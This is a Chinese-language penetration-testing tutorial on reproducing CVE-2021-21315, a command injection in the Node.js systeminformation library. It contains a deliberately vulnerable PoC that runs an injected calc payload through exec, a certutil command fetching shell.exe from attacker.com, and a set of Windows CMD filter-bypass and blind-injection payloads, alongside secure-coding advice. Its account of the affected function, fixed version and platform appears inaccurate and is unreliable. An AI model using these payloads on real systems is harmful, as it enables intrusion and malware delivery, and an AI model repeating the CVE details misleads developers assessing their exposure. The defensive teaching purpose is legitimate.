1. 项目概述:从一次真实的漏洞复现说起

最近在整理内部安全审计的案例库,翻到了一个挺有意思的老漏洞——CVE-2021-21315。这是一个存在于Node.js生态中 systeminformation 库里的命令注入漏洞。虽然它被归类为“中危”,但复现过程和解开其背后的成因,对于理解Node.js应用安全、第三方依赖风险以及命令执行漏洞的通用挖掘思路,非常有教学意义。很多刚接触渗透测试的朋友,一听到“命令执行”就觉得是 eval 或者 child_process.exec 的直球攻击,其实在真实的供应链攻击场景里,漏洞往往藏在那些你意想不到的、被广泛使用的“轮子”里。 systeminformation 就是一个典型,它被用于获取系统信息,安装量巨大,一旦出问题,影响面极广。

这次复现的目标很明确:不是简单地运行一个POC(概念验证代码)就完事,而是要彻底搞懂这个漏洞的触发条件、利用限制,以及在实际渗透测试中,如果遇到使用了特定版本 systeminformation 的应用,我们该如何思考、如何验证、如何利用。我会带你从环境搭建、漏洞原理分析、到手工构造Payload、再到思考如何绕过可能的限制,完整地走一遍。你会发现,复现一个CVE,其价值远不止于获得一个“漏洞利用成功”的提示框,更重要的是建立起一套分析问题和解决问题的逻辑。

2. 漏洞背景与核心原理深度解析

2.1 systeminformation 库与它的职责

首先,我们得知道 systeminformation 是干什么的。它是一个Node.js的第三方库,主要功能是跨平台地获取详细的系统信息,比如CPU型号、内存使用率、磁盘空间、网络接口、进程列表等等。开发者喜欢用它,是因为它封装了不同操作系统(Windows、Linux、macOS)底层命令调用的复杂性,提供了一个统一的JavaScript API。比如,你想知道磁盘使用情况,不用自己去写 df -h wmic 命令的解析,直接调用 si.diskLayout() 就行了,非常方便。

它的工作原理,本质上还是通过Node.js的 child_process 模块去执行系统命令,然后将命令输出的文本进行解析,转换成结构化的JSON数据返回给用户。 这里就埋下了第一个伏笔:只要涉及将用户输入拼接进系统命令,就存在命令注入的风险。 这个库的许多函数都符合这个模式。

2.2 CVE-2021-21315 漏洞根源剖析

这个漏洞的根源函数是 systeminformation 库中的 networkInterfaces 函数。在5.11.0之前的版本中,这个函数在Windows平台上的实现有缺陷。

我们来模拟一下有漏洞版本的代码逻辑(非真实源码,为说明原理简化):

// 模拟有漏洞的 networkInterfaces 函数内部逻辑(Windows路径)
function getNetworkInterfaces() {
    // ... 一些前置逻辑
    const command = `getmac /v /fo list | findstr /B "物理地址"`;
    // 假设有一个用户可控的输入 `options`,被以某种方式影响命令
    // 关键问题:库在构造用于获取网络接口名称的命令时,未对接口名进行安全过滤。
    // 实际漏洞点在于对 `connectionName` 的处理。
    let interfaceName = getInterfaceNameFromSomewhere(); // 可能来自系统枚举
    // 为了获取该接口的IP,可能会执行类似这样的命令:
    // `netsh interface ip show config name="${interfaceName}"`
    // 如果 interfaceName 可以被用户控制或污染,问题就来了。
}

实际上,漏洞更具体的触发点在于 lib/network.js 文件中, networkInterfaces 函数在Windows下会调用一个内部函数来解析 netsh 命令的输出。在解析过程中,它使用字符串替换等方式从输出中提取网络连接名称( connectionName ),然后将这个名称直接拼接到了后续的 netsh 命令中,用于查询该连接的详细配置。

核心漏洞链:

  1. 数据来源不可信 :初始的 connectionName 来源于执行 getmac 命令的输出。攻击者能否影响这个输出?在某些复杂网络环境或通过ARP欺骗等手段,理论上存在污染主机名或网络描述信息的可能性,但这并非通用利用路径。更常见的风险场景是, 应用程序以不安全的方式调用了 systeminformation 的函数并传入了用户可控的参数 。虽然 networkInterfaces 函数本身可能不直接接受用户参数,但如果应用层代码逻辑错误地将用户输入传递给了库的某个参数,或者库的其他函数存在类似问题,就可能打开缺口。
  2. 缺乏输入净化 :库代码在将 connectionName 拼接到 netsh 命令字符串时,没有进行任何过滤或转义。在Windows命令提示符中,某些字符(如 & , | , , , && 等)具有特殊含义,可以用于拼接多条命令。
  3. 命令拼接执行 :最终形成的命令类似于:
    netsh interface ip show config name="用户可控的 connectionName"
    
    如果 connectionName 被设置为 本地连接" & whoami & " ,那么实际执行的命令就变成了:
    netsh interface ip show config name="本地连接" & whoami & ""
    
    这将会先执行 netsh 命令(可能出错,但不影响),然后执行 whoami 命令,并将结果输出。

重要提示 :此漏洞的利用条件较为苛刻。它需要攻击者能够控制传入 systeminformation.networkInterfaces() 函数或其内部流程的 connectionName 参数。在绝大多数正常使用该库的应用中,这个参数是自动从系统获取的,并非用户直接输入。因此, 直接远程利用此漏洞攻击一个随机Web应用的成功率很低 。它的主要风险在于:

  1. 应用程序错误地使用了该库,将用户输入传递给了相关函数。
  2. 作为供应链攻击的一部分,污染上游数据源。
  3. 在安全研究中,作为理解Node.js命令注入漏洞模式的一个经典案例。

2.3 影响范围与修复方案

  • 影响版本 systeminformation 包版本 < 5.11.0。
  • 修复版本 :>= 5.11.0。修复方式是对从 netsh 命令输出中提取的 connectionName 进行了严格的过滤和转义,确保其中不包含任何可能被命令行解释器执行的特殊字符。
  • 严重等级 :通常被评为中危(Medium)。因为其利用需要前置条件,并非一个直接的远程代码执行(RCE)漏洞。

3. 漏洞复现环境搭建与验证

理论分析完了,我们动手搭建环境,亲眼看看这个漏洞是如何被触发的。这里我们会创建一个最简化的、故意构造出漏洞条件的Node.js应用来模拟攻击场景。

3.1 环境准备与依赖安装

首先,确保你的实验环境是 Windows 操作系统,因为该漏洞特定于Windows平台的命令实现。Linux/macOS不受此特定漏洞影响。

  1. 安装Node.js :从官网下载并安装Node.js(建议使用14.x或16.x LTS版本)。安装后,在命令行输入 node -v npm -v 验证。
  2. 创建项目目录
    mkdir cve-2021-21315-poc
    cd cve-2021-21315-poc
    
  3. 初始化项目并安装有漏洞的库版本
    npm init -y
    npm install systeminformation@5.10.0 # 特意安装有漏洞的版本
    

3.2 构造存在漏洞的模拟应用代码

我们创建一个名为 vulnerable_app.js 的文件,模拟一个“不安全”的应用程序。这个程序“错误地”允许用户输入一个网络接口名称,然后使用 systeminformation 来获取其信息。

// vulnerable_app.js
const si = require('systeminformation');

// 假设这是一个接收用户输入的函数,例如来自HTTP请求参数
function getUserInput() {
    // 模拟用户输入,实际攻击中这可能来自URL参数、POST数据等
    // 为了演示,我们直接返回一个恶意构造的接口名
    return `本地连接" & calc & "`; // 弹出计算器作为命令执行成功的证明
}

async function getNetworkInfo() {
    const userSuppliedInterfaceName = getUserInput();
    console.log(`[+] 用户提供的接口名: ${userSuppliedInterfaceName}`);

    // 危险操作:将用户输入直接传递给某个内部过程。
    // 注意:真实的 networkInterfaces() 函数并不直接接受名称参数。
    // 这里我们为了演示漏洞原理,假设有一个不存在的函数 `getInterfaceDetails(name)`。
    // 实际上,我们需要模拟的是库内部如何将污染的数据拼接进命令。
    // 更贴近实战的模拟是直接调用有漏洞的 networkInterfaces,并想办法让污染的数据成为其内部 `connectionName`。
    console.log(`[!] 由于原漏洞利用条件苛刻,我们直接演示命令注入原理。`);
    console.log(`[!] 假设库内部执行了类似这样的命令:`);
    const maliciousCommand = `netsh interface ip show config name="${userSuppliedInterfaceName}"`;
    console.log(`    ${maliciousCommand}`);
    console.log(`[!] 这将会执行: netsh ... 和 calc`);
}

// 直接演示命令执行
const { exec } = require('child_process');
const payload = `本地连接" & calc & "`;
const command = `netsh interface ip show config name="${payload}"`;
console.log(`[+] 最终执行的命令: ${command}`);
console.log(`[+] 如果看到计算器弹出,说明命令注入成功。`);
exec(command, { windowsHide: false }, (error, stdout, stderr) => {
    if (error) {
        console.error(`[-] 执行错误: ${error}`);
        return;
    }
    console.log(`[*] 命令输出 (可能包含错误,因为 netsh 部分会失败):`);
    console.log(stdout);
    console.log(stderr);
});

getNetworkInfo();

3.3 复现执行与结果分析

在项目目录下运行:

node vulnerable_app.js

如果环境配置正确,你会先看到命令行打印出构造的恶意命令,然后 系统计算器程序(calc.exe)应该会被弹出 。同时,命令行会输出 netsh 命令执行产生的错误信息(因为 netsh 试图查询一个名为 本地连接" & calc & " 的接口,这显然不存在)。

结果解读:

  • 计算器弹出 :证明了命令注入成功。 & 符号在Windows CMD中被解释为命令分隔符,因此 calc 命令得以执行。
  • netsh报错 :这是预期的,因为主命令的参数被破坏了,但这不影响后续注入命令的执行。
  • 实战意义 :在实际攻击中,攻击者当然不会弹计算器,而是会执行诸如 whoami ipconfig net user ,甚至下载远程木马( certutil -urlcache -f http://attacker.com/shell.exe C:\\temp\\shell.exe )或反弹Shell的命令。

实操心得 :在Windows下进行命令注入测试时, & | 是最常用的命令连接符。 && 表示前一条命令成功才执行后一条, || 表示前一条失败才执行后一条。根据目标命令的执行预期结果,选择合适的连接符可以增加利用的稳定性。另外,注意Windows路径和空格的处理,必要时需要使用双引号和转义。

4. 漏洞利用的深入探索与限制绕过

基础的复现完成了,但真实的渗透测试不会这么顺利。我们可能会遇到各种限制。下面我们来探讨几种常见场景和进阶利用技巧。

4.1 利用场景的再思考

原漏洞CVE-2021-21315的描述相对宽泛。在真实世界中,如何让用户输入流入 systeminformation.networkInterfaces() 函数呢?可能有以下几种路径:

  1. 应用层参数污染 :应用程序提供了一個功能,让用户“指定要查询的网络接口”。开发者可能认为接口名是枚举值,却用了输入框,并且直接将输入传给了库的某个函数(虽然 networkInterfaces 本身不直接接受,但其他函数如 networkStats 可能接受 iface 参数,需检查历史版本)。
  2. 配置项读取 :应用程序从配置文件、环境变量或数据库中读取网络接口配置,而这个配置项被攻击者篡改(例如通过另一个漏洞实现文件写入或数据库注入)。
  3. 供应链上游攻击 :攻击者能够影响 systeminformation 库所依赖的数据源,例如在本机通过ARP欺骗或修改本地主机文件,使得 getmac /v 命令返回的结果中包含恶意构造的名称。

对于我们渗透测试人员,第一种情况(寻找应用层传入用户参数的调用点)是最值得关注的。我们需要在目标应用的代码或API中,寻找任何调用 systeminformation 相关函数的地方,并追踪其参数来源。

4.2 命令注入的通用绕过技巧

即使找到了注入点,也可能遇到过滤。下面是一些在命令注入中常用的绕过技巧,它们也适用于此漏洞的变种或类似漏洞:

  1. 空格绕过

    • Windows CMD中,可以用以下字符替代空格:
      • %PROGRAMFILES:~10,-5% (各种变量截取)
      • , (逗号,在某些上下文中可作分隔符)
      • . (点号,执行程序时, calc.exe calc 等效,但 calc.exe 中间无空格)
      • 更直接的是使用 Tab键 %09 )的URL编码,但在拼接字符串时可能需要考虑。
    • Payload示例 name=”本地连接”&,calc, name=”本地连接”%09calc
  2. 双写绕过 :如果过滤了 & ,可以尝试 && | 。如果过滤了 " ,可以考虑不使用引号闭合,或者用 ^ 进行转义(在CMD中, ^ 是转义字符)。

    • Payload示例 name=本地连接&calc (如果命令本身对空格不敏感,可尝试不用引号)。或者 name=本地连接^&calc ,但 ^ 在字符串传入时可能需要正确处理。
  3. 环境变量拼接 :利用Windows的环境变量动态构造命令。

    • Payload示例 name=”本地连接” & %COMSPEC% /c calc
      • %COMSPEC% 通常指向 C:\Windows\System32\cmd.exe ,使用它可以确保调用命令解释器。
  4. 通配符利用 :在文件路径中, * 可以匹配任意字符。虽然在此漏洞中不直接适用,但在涉及文件操作的命令注入里很有用。

  5. 编码与混淆

    • Hex编码 calc -> 63616c63 。在PowerShell中可以用 iex 执行,但在纯CMD下较难直接利用。
    • Base64编码 :在PowerShell中非常强大。
      powershell -enc YwBhAGwAYwA= # `calc`的Unicode Base64编码
      
    • Payload示例 name=”本地连接” & powershell -enc YwBhAGwAYwA=

4.3 针对Node.js子进程的特定注意事项

Node.js的 child_process 模块有多个函数: exec , execSync , spawn , spawnSync systeminformation 库通常使用 exec execSync

  • exec 默认会启动一个Shell (在Windows上是 cmd.exe ),因此像 & , | , > 等Shell元字符会被解析。这就是命令注入能够成功的前提。
  • spawn :默认 不会启动Shell ,而是直接执行二进制文件。如果将用户输入作为参数传递给 spawn ,元字符通常会被当作普通字符串处理,从而避免注入。但 spawn 也有一个 shell: true 的选项,开启后风险同 exec

因此,在代码审计时,看到 exec spawn with shell:true ,并且参数中存在字符串拼接,就要高度警惕。

5. 漏洞修复与安全开发建议

5.1 官方修复方案分析

systeminformation 5.11.0版本中,修复的核心是对 connectionName 进行了净化。我们可以学习一下这种修复思路(查看源码或类似安全补丁):

  1. 输入验证 :检查 connectionName 是否只包含预期的字符(字母、数字、空格、连字符、下划线等)。
  2. 转义或引用 :在将变量拼接到命令行时,确保对其进行正确的转义。在Node.js中,更安全的做法是:
    • 避免使用 exec 进行字符串拼接
    • 使用 spawn 并将参数作为数组传递。
    • 如果必须使用 exec ,应使用占位符和参数分离,类似SQL预处理语句,但 exec 本身不支持。可以考虑使用 util.promisify child_process.spawn stdio 选项进行复杂交互。

实际上,查看修复后的代码,开发者很可能增加了对 connectionName 的严格过滤,移除了所有非字母数字和允许符号之外的字符,或者确保在拼接时将其用安全的引号包裹,并处理了内部的引号。

5.2 给开发者的安全编码建议

  1. 最小化命令执行 :如非必要,避免在Node.js中执行系统命令。寻找纯JavaScript实现的替代库。
  2. 使用安全的API :如果必须执行命令,优先使用 child_process.spawn child_process.execFile ,并 避免设置 {shell: true} 。将命令参数作为数组传递。
    // 危险
    exec(`ping -n 4 ${userInput}`, (error, stdout) => {});
    // 相对安全 (如果 userInput 是IP地址,仍应验证)
    spawn('ping', ['-n', '4', userInput]);
    
  3. 严格的输入验证与净化 :对所有可能流入命令行的用户输入进行白名单验证。例如,如果期望一个IP地址,就严格用正则匹配IP格式;如果期望一个文件名,就只允许字母、数字、点和下划线,并防止路径遍历( .. )。
  4. 最小权限原则 :运行Node.js进程的用户账户不应具有过高权限(如Administrator或root)。
  5. 及时更新依赖 :使用 npm audit 定期检查项目依赖中的已知漏洞,并及时更新到安全版本。对于 systeminformation ,确保版本 >= 5.11.0。

5.3 给安全测试人员的排查清单

当你在黑盒或灰盒测试中,怀疑一个Node.js应用可能存在命令注入时,可以遵循以下思路:

  1. 信息收集
    • 识别应用技术栈(如 X-Powered-By: Express )。
    • 查找JavaScript源文件,搜索 exec , execSync , spawn , spawnSync , require('child_process') 等关键字。
    • 检查 package.json 或通过错误信息推断使用的第三方库,关注是否有 systeminformation 等已知存在历史漏洞的库。
  2. 寻找输入点 :枚举所有用户可控的输入(URL参数、POST数据、Cookie、Headers、文件上传等)。
  3. 测试Payload :在疑似输入点尝试注入通用测试Payload,观察响应时间、错误信息或输出内容的变化。
    • 盲注测试 :使用延时命令,如 & timeout /t 5 & (Windows)或 ; sleep 5 ; (Linux)。
    • 回显测试 :尝试注入输出环境变量或简单命令结果的Payload,如 & echo %USERNAME% & & whoami &
  4. 上下文分析 :如果确认有注入点,分析其上下文。是在什么函数里?执行的是什么命令?输出到哪里?这决定了你后续Payload的构造(是否需要编码、是否需要处理空格和引号等)。
  5. 利用与证明 :构造最终的利用Payload,实现信息获取、文件读写或反弹Shell。

6. 从复现到实战的思维跃迁

复现CVE-2021-21315,绝不仅仅是为了在本地弹出一个计算器。它更像是一个解剖麻雀的过程,让我们深入理解了Node.js命令注入漏洞的一种典型模式—— 通过第三方库的不安全命令拼接,将用户输入最终传递到了系统Shell

在实战中,你遇到的漏洞可能不会这么“标准”。它可能藏在更深的调用链里,可能被WAF(Web应用防火墙)部分过滤,可能因为上下文环境导致命令执行结果无法回显(盲注)。但核心的思维方式是不变的: 追踪数据流 。从用户输入点(Source)开始,看数据如何经过应用的处理、传递,最终是否到达了一个危险的函数(Sink,如 exec ),并且在这个过程中是否得到了充分的净化。

这个漏洞也警示我们供应链安全的重要性。一个被成千上万项目依赖的、看似人畜无害的工具库,也可能成为攻击链上的关键一环。作为开发者,要谨慎选择依赖,及时更新;作为安全人员,在代码审计和渗透测试时,也需要将第三方库的版本和已知CVE纳入评估范围。

最后,分享一个我在内部演练中的小技巧:在测试可能存在命令注入的Node.js应用时,除了常规的 whoami calc ,我经常会准备一个特殊的测试Payload,它会在目标服务器上创建一个包含当前时间、进程信息和简单标识的临时文件。这样,即使命令执行没有回显,我也可以通过其他方式(如后续的文件读取漏洞或目录遍历)来验证注入是否真正成功,从而将多个漏洞点串联起来,形成攻击链。安全测试,有时候就是一场精心设计的“寻宝游戏”。

更多推荐